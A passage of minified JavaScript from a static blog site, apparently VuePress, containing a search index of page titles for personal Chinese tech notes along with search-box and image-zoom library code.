5%AF%86%E7%A0%81%E7%AE%A1%E7%90%86.html",pathLocale:"/",extraFields:[]},{title:"数据传输",headers:[{level:3,title:"mysql dump",slug:"mysql-dump",link:"#mysql-dump",children:[]}],path:"/notebook/%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93.html",pathLocale:"/",extraFields:[]},{title:"数据整理",headers:[{level:2,title:"处理笔记的分类方式",slug:"处理笔记的分类方式",link:"#处理笔记的分类方式",children:[{level:3,title:"笔记的种类:",slug:"笔记的种类",link:"#笔记的种类",children:[]},{level:3,title:"可用的笔记,提醒,便签软件",slug:"可用的笔记-提醒-便签软件",link:"#可用的笔记-提醒-便签软件",children:[]},{level:3,title:"场景",slug:"场景",link:"#场景",children:[]},{level:3,title:"找到合适的写日记软件",slug:"找到合适的写日记软件",link:"#找到合适的写日记软件",children:[]}]},{level:2,title:"照片相片的备份, 归纳",slug:"照片相片的备份-归纳",link:"#照片相片的备份-归纳",children:[{level:3,title:"调研",slug:"调研",link:"#调研",children:[]},{level:3,title:"ondrive",slug:"ondrive",link:"#ondrive",children:[]},{level:3,title:"google photo",slug:"google-photo",link:"#google-photo",children:[]}]}],path:"/notebook/%E6%95%B0%E6%8D%AE%E6%95%B4%E7%90%86.html",pathLocale:"/",extraFields:[]},{title:"文件描述符与缓冲区",headers:[{level:3,title:"文件描述符",slug:"文件描述符",link:"#文件描述符",children:[]},{level:3,title:"java FileReader",slug:"java-filereader",link:"#java-filereader",children:[]},{level:3,title:"python demo",slug:"python-demo",link:"#python-demo",children:[]}],path:"/notebook/%E6%96%87%E4%BB%B6%E6%8F%8F%E8%BF%B0%E7%AC%A6%E4%B8%8E%E7%BC%93%E5%86%B2%E5%8C%BA.html",pathLocale:"/",extraFields:[]},{title:"显卡",headers:[{level:2,title:"game fps",slug:"game-fps",link:"#game-fps",children:[]}],path:"/notebook/%E6%98%BE%E5%8D%A1.html",pathLocale:"/",extraFields:[]},{title:"显卡需求分析",headers:[{level:2,title:"显卡fps表",slug:"显卡fps表",link:"#显卡fps表",children:[]},{level:2,title:"2k高刷&4k办公",slug:"_2k高刷-4k办公",link:"#_2k高刷-4k办公",children:[]}],path:"/notebook/%E6%98%BE%E5%8D%A1%E9%9C%80%E6%B1%82%E5%88%86%E6%9E%90.html",pathLocale:"/",extraFields:[]},{title:"电子产品购买记录",headers:[{level:2,title:"大物件",slug:"大物件",link:"#大物件",children:[]},{level:2,title:"手机",slug:"手机",link:"#手机",children:[]},{level:2,title:"小物件 price<200",slug:"小物件-price-200",link:"#小物件-price-200",children:[]},{level:2,title:"家里",slug:"家里",link:"#家里",children:[]},{level:2,title:"电脑装机 2022.11",slug:"电脑装机-2022-11",link:"#电脑装机-2022-11",children:[]},{level:2,title:"眼镜",slug:"眼镜",link:"#眼镜",children:[]},{level:2,title:"猫粮",slug:"猫粮",link:"#猫粮",children:[]}],path:"/notebook/%E8%B4%AD%E4%B9%B0%E8%AE%B0%E5%BD%95.html",pathLocale:"/",extraFields:[]},{title:"运动手表",headers:[],path:"/notebook/%E8%BF%90%E5%8A%A8%E6%89%8B%E8%A1%A8.html",pathLocale:"/",extraFields:[]},{title:"重置CMD设置",headers:[],path:"/notebook/%E9%87%8D%E7%BD%AECMD%E8%AE%BE%E7%BD%AE.html",pathLocale:"/",extraFields:[]},{title:"这里是python",headers:[],path:"/python/",pathLocale:"/",extraFields:[]},{title:"celery异步任务",headers:[{level:3,title:"异步任务prefork gevent的选择",slug:"异步任务prefork-gevent的选择",link:"#异步任务prefork-gevent的选择",children:[]}],path:"/python/celery%E5%BC%82%E6%AD%A5%E4%BB%BB%E5%8A%A1.html",pathLocale:"/",extraFields:[]},{title:"django",headers:[],path:"/python/django.html",pathLocale:"/",extraFields:[]},{title:"pydantic特殊验证",headers:[],path:"/python/pydantic%E7%89%B9%E6%AE%8A%E9%AA%8C%E8%AF%81.html",pathLocale:"/",extraFields:[]},{title:"pythongui-父子进程与孤儿进程",headers:[],path:"/python/pythongui-%E7%88%B6%E5%AD%90%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B.html",pathLocale:"/",extraFields:[]},{title:"任务队列",headers:[{level:2,title:"最初版本",slug:"最初版本",link:"#最初版本",children:[]},{level:2,title:"aps版本",slug:"aps版本",link:"#aps版本",children:[{level:3,title:"四个进程",slug:"四个进程",link:"#四个进程",children:[]},{level:3,title:"两个队列",slug:"两个队列",link:"#两个队列",children:[]}]},{level:2,title:"redis 版本",slug:"redis-版本",link:"#redis-版本",children:[]},{level:2,title:"crontab 版本",slug:"crontab-版本",link:"#crontab-版本",children:[]}],path:"/python/python%E4%BB%BB%E5%8A%A1%E9%98%9F%E5%88%97.html",pathLocale:"/",extraFields:[]},{title:"python使用正则过滤表情符号",headers:[],path:"/python/python%E4%BD%BF%E7%94%A8%E6%AD%A3%E5%88%99%E8%BF%87%E6%BB%A4%E8%A1%A8%E6%83%85%E7%AC%A6%E5%8F%B7.html",pathLocale:"/",extraFields:[]},{title:"python对比两个时间字符串",headers:[],path:"/python/python%E5%AF%B9%E6%AF%94%E4%B8%A4%E4%B8%AA%E6%97%B6%E9%97%B4%E5%AD%97%E7%AC%A6%E4%B8%B2.html",pathLocale:"/",extraFields:[]},{title:"skill",headers:[{level:3,title:"python 打印行号",slug:"python-打印行号",link:"#python-打印行号",children:[]},{level:3,title:"python 获取当前脚本或其他模块的所有类",slug:"python-获取当前脚本或其他模块的所有类",link:"#python-获取当前脚本或其他模块的所有类",children:[]}],path:"/python/python%E6%89%93%E5%8D%B0%E8%A1%8C%E5%8F%B7.html",pathLocale:"/",extraFields:[]},{title:"以图搜图",headers:[{level:3,title:"部署",slug:"部署",link:"#部署",children:[]}],path:"/python/%E4%BB%A5%E5%9B%BE%E6%90%9C%E5%9B%BE.html",pathLocale:"/",extraFields:[]},{title:"nsfw",headers:[{level:2,title:"0. https://github.com/yahoo/open_nsfw",slug:"_0-https-github-com-yahoo-open-nsfw",link:"#_0-https-github-com-yahoo-open-nsfw",children:[]},{level:2,title:"1. https://github.com/devzwy/open_nsfw_android",slug:"_1-https-github-com-devzwy-open-nsfw-android",link:"#_1-https-github-com-devzwy-open-nsfw-android",children:[]},{level:2,title:"2. https://github.com/mdietrichstein/tensorflow-open_nsfw",slug:"_2-https-github-com-mdietrichstein-tensorflow-open-nsfw",link:"#_2-https-github-com-mdietrichstein-tensorflow-open-nsfw",children:[]},{level:2,title:"3. https://github.com/yangbisheng2009/nsfw-resnet",slug:"_3-https-github-com-yangbisheng2009-nsfw-resnet",link:"#_3-https-github-com-yangbisheng2009-nsfw-resnet",children:[]},{level:2,title:"4. https://github.com/EugenCepoi/nsfw_api",slug:"_4-https-github-com-eugencepoi-nsfw-api",link:"#_4-https-github-com-eugencepoi-nsfw-api",children:[]}],path:"/python/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0-nsfw.html",pathLocale:"/",extraFields:[]},{title:"pdd调研",headers:[{level:2,title:"h5端",slug:"h5端",link:"#h5端",children:[{level:3,title:"渠道一:首页",slug:"渠道一-首页",link:"#渠道一-首页",children:[]},{level:3,title:"渠道二:分类",slug:"渠道二-分类",link:"#渠道二-分类",children:[]},{level:3,title:"渠道三: 搜索",slug:"渠道三-搜索",link:"#渠道三-搜索",children:[]}]}],path:"/python/%E7%88%AC%E8%99%AB-pdd%E8%B0%83%E7%A0%94.html",pathLocale:"/",extraFields:[]},{title:"使用接口过tx滑块验证",headers:[{level:3,title:"0x00 抓包分析",slug:"_0x00-抓包分析",link:"#_0x00-抓包分析",children:[]},{level:3,title:"0x01 获取ticket和randstr",slug:"_0x01-获取ticket和randstr",link:"#_0x01-获取ticket和randstr",children:[]}],path:"/python/%E7%88%AC%E8%99%AB-%E4%BD%BF%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%87tx%E6%BB%91%E5%9D%97%E9%AA%8C%E8%AF%81.html",pathLocale:"/",extraFields:[]},{title:"记一次过反爬虫的经历",headers:[],path:"/python/%E7%88%AC%E8%99%AB-%E8%AE%B0%E4%B8%80%E6%AC%A1%E8%BF%87%E5%8F%8D%E7%88%AC%E8%99%AB%E7%9A%84%E7%BB%8F%E5%8E%86.html",pathLocale:"/",extraFields:[]},{title:"过简单js加密",headers:[{level:2,title:"0x00 chrome debug",slug:"_0x00-chrome-debug",link:"#_0x00-chrome-debug",children:[]}],path:"/python/%E7%88%AC%E8%99%AB-%E8%BF%87%E7%AE%80%E5%8D%95js%E5%8A%A0%E5%AF%86.html",pathLocale:"/",extraFields:[]},{title:"进程管理",headers:[{level:3,title:"APScheduler",slug:"apscheduler",link:"#apscheduler",children:[]},{level:3,title:"20201026",slug:"_20201026",link:"#_20201026",children:[]}],path:"/python/%E8%BF%9B%E7%A8%8B%E7%AE%A1%E7%90%86.html",pathLocale:"/",extraFields:[]},{title:"面试",headers:[],path:"/python/%E9%9D%A2%E8%AF%95.html",pathLocale:"/",extraFields:[]},{title:"这里是ops",headers:[],path:"/ops/",pathLocale:"/",extraFields:[]},{title:"[mysql]主从复制",headers:[{level:2,title:"步骤",slug:"步骤",link:"#步骤",children:[{level:3,title:"1,主开启binlog",slug:"_1-主开启binlog",link:"#_1-主开启binlog",children:[]},{level:3,title:"2. 副修改server_id",slug:"_2-副修改server-id",link:"#_2-副修改server-id",children:[]},{level:3,title:"3.副开启主从",slug:"_3-副开启主从",link:"#_3-副开启主从",children:[]}]}],path:"/ops/mysql_%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6.html",pathLocale:"/",extraFields:[]},{title:"drone",headers:[{level:2,title:"docker缓存(优先使用)",slug:"docker缓存-优先使用",link:"#docker缓存-优先使用",children:[]},{level:2,title:"本地缓存",slug:"本地缓存",link:"#本地缓存",children:[{level:3,title:"npm cache",slug:"npm-cache",link:"#npm-cache",children:[]},{level:3,title:"yarn cache",slug:"yarn-cache",link:"#yarn-cache",children:[]}]}],path:"/ops/drone.html",pathLocale:"/",extraFields:[]},{title:"k8s",headers:[{level:2,title:"alias k8s",slug:"alias-k8s",link:"#alias-k8s",children:[{level:3,title:"问题定位",slug:"问题定位",link:"#问题定位",children:[]},{level:3,title:"解决方案1",slug:"解决方案1",link:"#解决方案1",children:[]},{level:3,title:"解决方案2",slug:"解决方案2",link:"#解决方案2",children:[]}]}],path:"/ops/k8s.html",pathLocale:"/",extraFields:[]},{title:"oj",headers:[{level:2,title:"php7.2",slug:"php7-2",link:"#php7-2",children:[{level:3,title:"代码路径信息",slug:"代码路径信息",link:"#代码路径信息",children:[]}]},{level:2,title:"代码结构",slug:"代码结构",link:"#代码结构",children:[]},{level:2,title:"nginx",slug:"nginx",link:"#nginx",children:[]}],path:"/ops/oj.html",pathLocale:"/",extraFields:[]},{title:"sudo",headers:[],path:"/ops/sudo.html",pathLocale:"/",extraFields:[]},{title:"ubuntu_x11",headers:[{level:2,title:"启动方式",slug:"启动方式",link:"#启动方式",children:[]},{level:2,title:"遇到的问题",slug:"遇到的问题",link:"#遇到的问题",children:[{level:3,title:"无法显示中文",slug:"无法显示中文",link:"#无法显示中文",children:[]},{level:3,title:"无法输入中文",slug:"无法输入中文",link:"#无法输入中文",children:[]}]}],path:"/ops/ubuntu_x11.html",pathLocale:"/",extraFields:[]},{title:"vmware虚拟机硬盘调整",headers:[],path:"/ops/vmware%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%A1%AC%E7%9B%98%E8%B0%83%E6%95%B4.html",pathLocale:"/",extraFields:[]},{title:"【运维】expect",headers:[],path:"/ops/%E3%80%90%E8%BF%90%E7%BB%B4%E3%80%91expect.html",pathLocale:"/",extraFields:[]},{title:"代理使用",headers:[{level:2,title:"环境变量",slug:"环境变量",link:"#环境变量",children:[{level:3,title:"Linux",slug:"linux",link:"#linux",children:[]},{level:3,title:"Windows",slug:"windows",link:"#windows",children:[]}]},{level:2,title:"Ubuntu apt",slug:"ubuntu-apt",link:"#ubuntu-apt",children:[]},{level:2,title:"Git",slug:"git",link:"#git",children:[]},{level:2,title:"Docker",slug:"docker",link:"#docker",children:[]},{level:2,title:"Python代码",slug:"python代码",link:"#python代码",children:[]},{level:2,title:"浏览器插件",slug:"浏览器插件",link:"#浏览器插件",children:[]},{level:2,title:"其他",slug:"其他",link:"#其他",children:[]}],path:"/ops/%E4%BB%A3%E7%90%86%E4%BD%BF%E7%94%A8.html",pathLocale:"/",extraFields:[]},{title:"硬盘速度测试",headers:[{level:3,title:"linux 测试磁盘性能",slug:"linux-测试磁盘性能",link:"#linux-测试磁盘性能",children:[]},{level:3,title:"as ssd",slug:"as-ssd",link:"#as-ssd",children:[]}],path:"/ops/%E7%A1%AC%E7%9B%98%E9%80%9F%E5%BA%A6%E6%B5%8B%E8%AF%95.html",pathLocale:"/",extraFields:[]},{title:"网盘与同步",headers:[{level:2,title:"目前的选择:OneDrive",slug:"目前的选择-onedrive",link:"#目前的选择-onedrive",children:[]},{level:2,title:"他人智慧",slug:"他人智慧",link:"#他人智慧",children:[]},{level:2,title:"按照分类",slug:"按照分类",link:"#按照分类",children:[]},{level:2,title:"知乎",slug:"知乎",link:"#知乎",children:[]}],path:"/ops/%E7%BD%91%E7%9B%98%E4%B8%8E%E5%90%8C%E6%AD%A5.html",pathLocale:"/",extraFields:[]},{title:"购买参考",headers:[{level:3,title:"电池",slug:"电池",link:"#电池",children:[]}],path:"/ops/%E8%B4%AD%E4%B9%B0%E5%8F%82%E8%80%83.html",pathLocale:"/",extraFields:[]},{title:"这里是router",headers:[],path:"/router/",pathLocale:"/",extraFields:[]},{title:"zerotier",headers:[{level:2,title:"实战配置",slug:"实战配置",link:"#实战配置",children:[{level:3,title:"1 zerotier 配置",slug:"_1-zerotier-配置",link:"#_1-zerotier-配置",children:[]},{level:3,title:"1.2 设置这两个设备允许 Allow Ethernet Bridging",slug:"_1-2-设置这两个设备允许-allow-ethernet-bridging",link:"#_1-2-设置这两个设备允许-allow-ethernet-bridging",children:[]},{level:3,title:"2 客户端设置",slug:"_2-客户端设置",link:"#_2-客户端设置",children:[]}]}],path:"/router/zerotier.html",pathLocale:"/",extraFields:[]},{title:"zerotier、二级路由、DMZ",headers:[],path:"/router/zerotier%E3%80%81%E4%BA%8C%E7%BA%A7%E8%B7%AF%E7%94%B1%E3%80%81DMZ.html",pathLocale:"/",extraFields:[]},{title:"异地组网",headers:[{level:2,title:"设备:k2p",slug:"设备-k2p",link:"#设备-k2p",children:[]},{level:2,title:"斐讯n1盒子",slug:"斐讯n1盒子",link:"#斐讯n1盒子",children:[]},{level:2,title:"wr1200js",slug:"wr1200js",link:"#wr1200js",children:[]},{level:2,title:"cloud server hk",slug:"cloud-server-hk",link:"#cloud-server-hk",children:[]}],path:"/router/%E5%BC%82%E5%9C%B0%E7%BB%84%E7%BD%91.html",pathLocale:"/",extraFields:[]},{title:"监控某个服务正常运行",headers:[],path:"/router/%E7%9B%91%E6%8E%A7%E6%9F%90%E4%B8%AA%E6%9C%8D%E5%8A%A1%E6%AD%A3%E5%B8%B8%E8%BF%90%E8%A1%8C.html",pathLocale:"/",extraFields:[]},{title:"简易监控",headers:[{level:2,title:"23.9.20 开始写方案",slug:"_23-9-20-开始写方案",link:"#_23-9-20-开始写方案",children:[{level:3,title:"方案1:POE录像机",slug:"方案1-poe录像机",link:"#方案1-poe录像机",children:[]},{level:3,title:"方案2:单摄像头(纯娱乐)",slug:"方案2-单摄像头-纯娱乐",link:"#方案2-单摄像头-纯娱乐",children:[]}]},{level:2,title:"9.22记录",slug:"_9-22记录",link:"#_9-22记录",children:[{level:3,title:"最终方案",slug:"最终方案",link:"#最终方案",children:[]}]},{level:2,title:"9.25",slug:"_9-25",link:"#_9-25",children:[]},{level:2,title:"10.8",slug:"_10-8",link:"#_10-8",children:[]}],path:"/router/%E7%AE%80%E6%98%93%E7%9B%91%E6%8E%A7.html",pathLocale:"/",extraFields:[]},{title:"记一次破解天翼网关",headers:[],path:"/router/%E8%AE%B0%E4%B8%80%E6%AC%A1%E7%A0%B4%E8%A7%A3%E5%A4%A9%E7%BF%BC%E7%BD%91%E5%85%B3.html",pathLocale:"/",extraFields:[]},{title:"这里是video",headers:[],path:"/video/",pathLocale:"/",extraFields:[]},{title:"ffmpeg",headers:[{level:2,title:"第一个应用 制作延时摄像",slug:"第一个应用-制作延时摄像",link:"#第一个应用-制作延时摄像",children:[]}],path:"/video/ffmpeg.html",pathLocale:"/",extraFields:[]},{title:"shinobi-开源NVR",headers:[],path:"/video/shinobi-%E5%BC%80%E6%BA%90NVR.html",pathLocale:"/",extraFields:[]},{title:"23-5-22pg数据库的中文排序",headers:[{level:2,title:"背景",slug:"背景",link:"#背景",children:[]},{level:2,title:"方案1",slug:"方案1",link:"#方案1",children:[]},{level:2,title:"方案2",slug:"方案2",link:"#方案2",children:[]}],path:"/web/23-5-22pg%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E4%B8%AD%E6%96%87%E6%8E%92%E5%BA%8F.html",pathLocale:"/",extraFields:[]},{title:"这里是web",headers:[],path:"/web/",pathLocale:"/",extraFields:[]},{title:"[mysql]全表查询的优化",headers:[],path:"/web/mysql_%E5%85%A8%E8%A1%A8%E6%9F%A5%E8%AF%A2%E7%9A%84%E4%BC%98%E5%8C%96.html",pathLocale:"/",extraFields:[]},{title:"[project]项目配置文件",headers:[],path:"/web/project_%E9%A1%B9%E7%9B%AE%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6.html",pathLocale:"/",extraFields:[]},{title:"[python]以图搜图系统",headers:[],path:"/web/python_%E4%BB%A5%E5%9B%BE%E6%90%9C%E5%9B%BE%E7%B3%BB%E7%BB%9F.html",pathLocale:"/",extraFields:[]},{title:"[web]web模型",headers:[],path:"/web/web_web%E6%A8%A1%E5%9E%8B.html",pathLocale:"/",extraFields:[]},{title:"[web]服务端渲染与客户端渲染",headers:[],path:"/web/web_%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%B8%B2%E6%9F%93%E4%B8%8E%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%B8%B2%E6%9F%93.html",pathLocale:"/",extraFields:[]},{title:"[web]装饰器模式在canvas里的应用",headers:[],path:"/web/web_%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F%E5%9C%A8canvas%E9%87%8C%E7%9A%84%E5%BA%94%E7%94%A8.html",pathLocale:"/",extraFields:[]},{title:"[异步任务与事务]",headers:[],path:"/web/%E5%BC%82%E6%AD%A5%E4%BB%BB%E5%8A%A1%E4%B8%8E%E4%BA%8B%E5%8A%A1_.html",pathLocale:"/",extraFields:[]},{title:"[计算机网络]iptables",headers:[],path:"/web/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C_iptables.html",pathLocale:"/",extraFields:[]},{title:"[计算机网络]ip协议",headers:[],path:"/web/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C_ip%E5%8D%8F%E8%AE%AE.html",pathLocale:"/",extraFields:[]},{title:"[计算机网络]路由器",headers:[],path:"/web/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C_%E8%B7%AF%E7%94%B1%E5%99%A8.html",pathLocale:"/",extraFields:[]},{title:"乐观锁、悲观锁、分布式锁",headers:[{level:3,title:"100并发",slug:"_100并发",link:"#_100并发",children:[]},{level:3,title:"并发100, 总共1000个",slug:"并发100-总共1000个",link:"#并发100-总共1000个",children:[]},{level:3,title:"并发200,总共1000",slug:"并发200-总共1000",link:"#并发200-总共1000",children:[]}],path:"/web/%E4%B9%90%E8%A7%82%E9%94%81%E3%80%81%E6%82%B2%E8%A7%82%E9%94%81%E3%80%81%E5%88%86%E5%B8%83%E5%BC%8F%E9%94%81.html",pathLocale:"/",extraFields:[]},{title:"基于ddd的架构",headers:[],path:"/web/%E5%9F%BA%E4%BA%8Eddd%E7%9A%84%E6%9E%B6%E6%9E%84.html",pathLocale:"/",extraFields:[]},{title:"运维相关",headers:[],path:"/web/%E8%BF%90%E7%BB%B4%E7%9B%B8%E5%85%B3.html",pathLocale:"/",extraFields:[]},{title:"这里是notebook/3D建模",headers:[],path:"/notebook/3D%E5%BB%BA%E6%A8%A1/",pathLocale:"/",extraFields:[]},{title:"webodm配置安装",headers:[{level:2,title:"moyechen 23.9.24",slug:"moyechen-23-9-24",link:"#moyechen-23-9-24",children:[{level:3,title:"步骤1 wsl2配置",slug:"步骤1-wsl2配置",link:"#步骤1-wsl2配置",children:[]},{level:3,title:"步骤1 安装docker desktop",slug:"步骤1-安装docker-desktop",link:"#步骤1-安装docker-desktop",children:[]},{level:3,title:"ubuntu nvidia驱动配置",slug:"ubuntu-nvidia驱动配置",link:"#ubuntu-nvidia驱动配置",children:[]},{level:3,title:"步骤3 拉取项目文件",slug:"步骤3-拉取项目文件",link:"#步骤3-拉取项目文件",children:[]},{level:3,title:"步骤4 启动",slug:"步骤4-启动",link:"#步骤4-启动",children:[]},{level:3,title:"mipc杂项",slug:"mipc杂项",link:"#mipc杂项",children:[]}]}],path:"/notebook/3D%E5%BB%BA%E6%A8%A1/webodm%E9%85%8D%E7%BD%AE%E5%AE%89%E8%A3%85.html",pathLocale:"/",extraFields:[]},{title:"这里是notebook/graphql",headers:[],path:"/notebook/graphql/",pathLocale:"/",extraFields:[]},{title:"ddd+graphql数据流",headers:[],path:"/notebook/graphql/ddd_graphql%E6%95%B0%E6%8D%AE%E6%B5%81.html",pathLocale:"/",extraFields:[]},{title:"graphql和python",headers:[],path:"/notebook/graphql/graphql%E5%92%8Cpython.html",pathLocale:"/",extraFields:[]},{title:"graphql遇到过的问题",headers:[{level:2,title:"1.schema编写问题",slug:"_1-schema编写问题",link:"#_1-schema编写问题",children:[]},{level:2,title:"2.dataload 问题",slug:"_2-dataload-问题",link:"#_2-dataload-问题",children:[]}],path:"/notebook/graphql/graphql%E9%81%87%E5%88%B0%E8%BF%87%E7%9A%84%E9%97%AE%E9%A2%98.html",pathLocale:"/",extraFields:[]},{title:"这里是python/cv",headers:[],path:"/python/cv/",pathLocale:"/",extraFields:[]},{title:"环境部署",headers:[{level:2,title:"cuda",slug:"cuda",link:"#cuda",children:[]},{level:2,title:"cudaa",slug:"cudaa",link:"#cudaa",children:[]},{level:2,title:"conda",slug:"conda",link:"#conda",children:[{level:3,title:"conda vs anconda",slug:"conda-vs-anconda",link:"#conda-vs-anconda",children:[]},{level:3,title:"安装",slug:"安装",link:"#安装",children:[]},{level:3,title:"使用",slug:"使用",link:"#使用",children:[]}]}],path:"/python/cv/conda.html",pathLocale:"/",extraFields:[]},{title:"cuda",headers:[],path:"/python/cv/cuda.html",pathLocale:"/",extraFields:[]},{title:"pytorch",headers:[],path:"/python/cv/pytorch.html",pathLocale:"/",extraFields:[]},{title:"基于yolov5的cf自瞄",headers:[{level:2,title:"环境配置",slug:"环境配置",link:"#环境配置",children:[]}],path:"/python/cv/%E5%9F%BA%E4%BA%8Eyolov5%E7%9A%84cf%E8%87%AA%E7%9E%84.html",pathLocale:"/",extraFields:[]},{title:"部署paddle框架之ocr",headers:[{level:2,title:"步骤",slug:"步骤",link:"#步骤",children:[]}],path:"/python/cv/%E9%83%A8%E7%BD%B2paddle%E6%A1%86%E6%9E%B6%E4%B9%8Bocr.html",pathLocale:"/",extraFields:[]},{title:"",headers:[],path:"/404.html",pathLocale:"/",extraFields:[]}],Yp=_e(Wp),Zp=()=>Yp,Gp=({searchIndex:e,routeLocale:t,query:n,maxSuggestions:o})=>{const l=j(()=>e.value.filter(r=>r.pathLocale===t.value));return j(()=>{const r=n.value.trim().toLowerCase();if(!r)return[];const i=[],a=(s,c)=>{ci(r,[c.title])&&i.push({link:`${s.path}#${c.slug}`,title:s.title,header:c.title});for(const u of c.children){if(i.length>=o.value)return;a(s,u)}};for(const s of l.value){if(i.length>=o.value)break;if(ci(r,[s.title,...s.extraFields])){i.push({link:s.path,title:s.title});continue}for(const c of s.headers){if(i.length>=o.value)break;a(s,c)}}return i})},Jp=e=>{const t=_e(0);return{focusIndex:t,focusNext:()=>{t.value {t.value>0?t.value-=1:t.value=e.value.length-1}}},Qp=de({name:"SearchBox",props:{locales:{type:Object,required:!1,default:()=>({})},hotKeys:{type:Array,required:!1,default:()=>[]},maxSuggestions:{type:Number,required:!1,default:5}},setup(e){const{locales:t,hotKeys:n,maxSuggestions:o}=Ro(e),l=Jt(),r=Zn(),i=Zp(),a=_e(null),s=_e(!1),c=_e(""),u=j(()=>t.value[r.value]??{}),d=Gp({searchIndex:i,routeLocale:r,query:c,maxSuggestions:o}),{focusIndex:f,focusNext:E,focusPrev:A}=Jp(d);Kp({input:a,hotKeys:n});const B=j(()=>s.value&&!!d.value.length),x=()=>{B.value&&A()},T=()=>{B.value&&E()},C=_=>{if(!B.value)return;const b=d.value[_];b&&l.push(b.link).then(()=>{c.value="",f.value=0})};return()=>ce("form",{class:"search-box",role:"search"},[ce("input",{ref:a,type:"search",placeholder:u.value.placeholder,autocomplete:"off",spellcheck:!1,value:c.value,onFocus:()=>s.value=!0,onBlur:()=>s.value=!1,onInput:_=>c.value=_.target.value,onKeydown:_=>{switch(_.key){case"ArrowUp":{x();break}case"ArrowDown":{T();break}case"Enter":{_.preventDefault(),C(f.value);break}}}}),B.value&&ce("ul",{class:"suggestions",onMouseleave:()=>f.value=-1},d.value.map(({link:_,title:b,header:H},Y)=>ce("li",{class:["suggestion",{focus:f.value===Y}],onMouseenter:()=>f.value=Y,onMousedown:()=>C(Y)},ce("a",{href:_,onClick:M=>M.preventDefault()},[ce("span",{class:"page-title"},b),H&&ce("span",{class:"page-header"},`> ${H}`)]))))])}});var Xp=["s","/"],em={};const tm=em,nm=Xp,om=5,lm=St({enhance({app:e}){e.component("SearchBox",t=>ce(Qp,{locales:tm,hotKeys:nm,maxSuggestions:om,...t}))}});/*! medium-zoom 1.1.0 | MIT License | https://github.com/francoischalifour/medium-zoom */var Nt=Object.assign||function(e){for(var t=1;t 1&&arguments[1]!==void 0?arguments[1]:{},o=window.Promise||function(k){function V(){}k(V,V)},l=function(k){var V=k.target;if(V===I){A();return}_.indexOf(V)!==-1&&B({target:V})},r=function(){if(!(H||!g.original)){var k=window.pageYOffset||document.documentElement.scrollTop||document.body.scrollTop||0;Math.abs(Y-k)>M.scrollOffset&&setTimeout(A,150)}},i=function(k){var V=k.key||k.keyCode;(V==="Escape"||V==="Esc"||V===27)&&A()},a=function(){var k=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{},V=k;if(k.background&&(I.style.background=k.background),k.container&&k.container instanceof Object&&(V.container=Nt({},M.container,k.container)),k.template){var oe=fo(k.template)?k.template:document.querySelector(k.template);V.template=oe}return M=Nt({},M,V),_.forEach(function(se){se.dispatchEvent(tn("medium-zoom:update",{detail:{zoom:P}}))}),P},s=function(){var k=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};return e(Nt({},M,k))},c=function(){for(var k=arguments.length,V=Array(k),oe=0;oe 0?V.reduce(function(F,J){return[].concat(F,di(J))},[]):_;return se.forEach(function(F){F.classList.remove("medium-zoom-image"),F.dispatchEvent(tn("medium-zoom:detach",{detail:{zoom:P}}))}),_=_.filter(function(F){return se.indexOf(F)===-1}),P},d=function(k,V){var oe=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{};return _.forEach(function(se){se.addEventListener("medium-zoom:"+k,V,oe)}),b.push({type:"medium-zoom:"+k,listener:V,options:oe}),P},f=function(k,V){var oe=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{};return _.forEach(function(se){se.removeEventListener("medium-zoom:"+k,V,oe)}),b=b.filter(function(se){return!(se.type==="medium-zoom:"+k&&se.listener.toString()===V.toString())}),P},E=function(){var k=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{},V=k.target,oe=function(){var F={width:document.documentElement.clientWidth,height:document.documentElement.clientHeight,left:0,top:0,right:0,bottom:0},J=void 0,K=void 0;if(M.container)if(M.container instanceof Object)F=Nt({},F,M.container),J=F.width-F.left-F.right-M.margin*2,K=F.height-F.top-F.bottom-M.margin*2;else{var Oe=fo(M.container)?M.container:document.querySelector(M.container),Se=Oe.getBoundingClientRect(),ze=Se.width,$e=Se.height,At=Se.left,yt=Se.top;F=Nt({},F,{width:ze,height:$e,left:At,top:yt})}J=J||F.width-M.margin*2,K=K||F.height-M.margin*2;var it=g.zoomedHd||g.original,Fe=ui(it)?J:it.naturalWidth||J,w=ui(it)?K:it.naturalHeight||K,U=it.getBoundingClientRect(),$=U.top,G=U.left,ue=U.width,h=U.height,p=Math.min(Math.max(ue,Fe),J)/ue,v=Math.min(Math.max(h,w),K)/h,y=Math.min(p,v),L=(-G+(J-ue)/2+M.margin+F.left)/y,R=(-$+(K-h)/2+M.margin+F.top)/y,q="scale("+y+") translate3d("+L+"px, "+R+"px, 0)";g.zoomed.style.transform=q,g.zoomedHd&&(g.zoomedHd.style.transform=q)};return new o(function(se){if(V&&_.indexOf(V)===-1){se(P);return}var F=function ze(){H=!1,g.zoomed.removeEventListener("transitionend",ze),g.original.dispatchEvent(tn("medium-zoom:opened",{detail:{zoom:P}})),se(P)};if(g.zoomed){se(P);return}if(V)g.original=V;else if(_.length>0){var J=_;g.original=J[0]}else{se(P);return}if(g.original.dispatchEvent(tn("medium-zoom:open",{detail:{zoom:P}})),Y=window.pageYOffset||document.documentElement.scrollTop||document.body.scrollTop||0,H=!0,g.zoomed=sm(g.original),document.body.appendChild(I),M.template){var 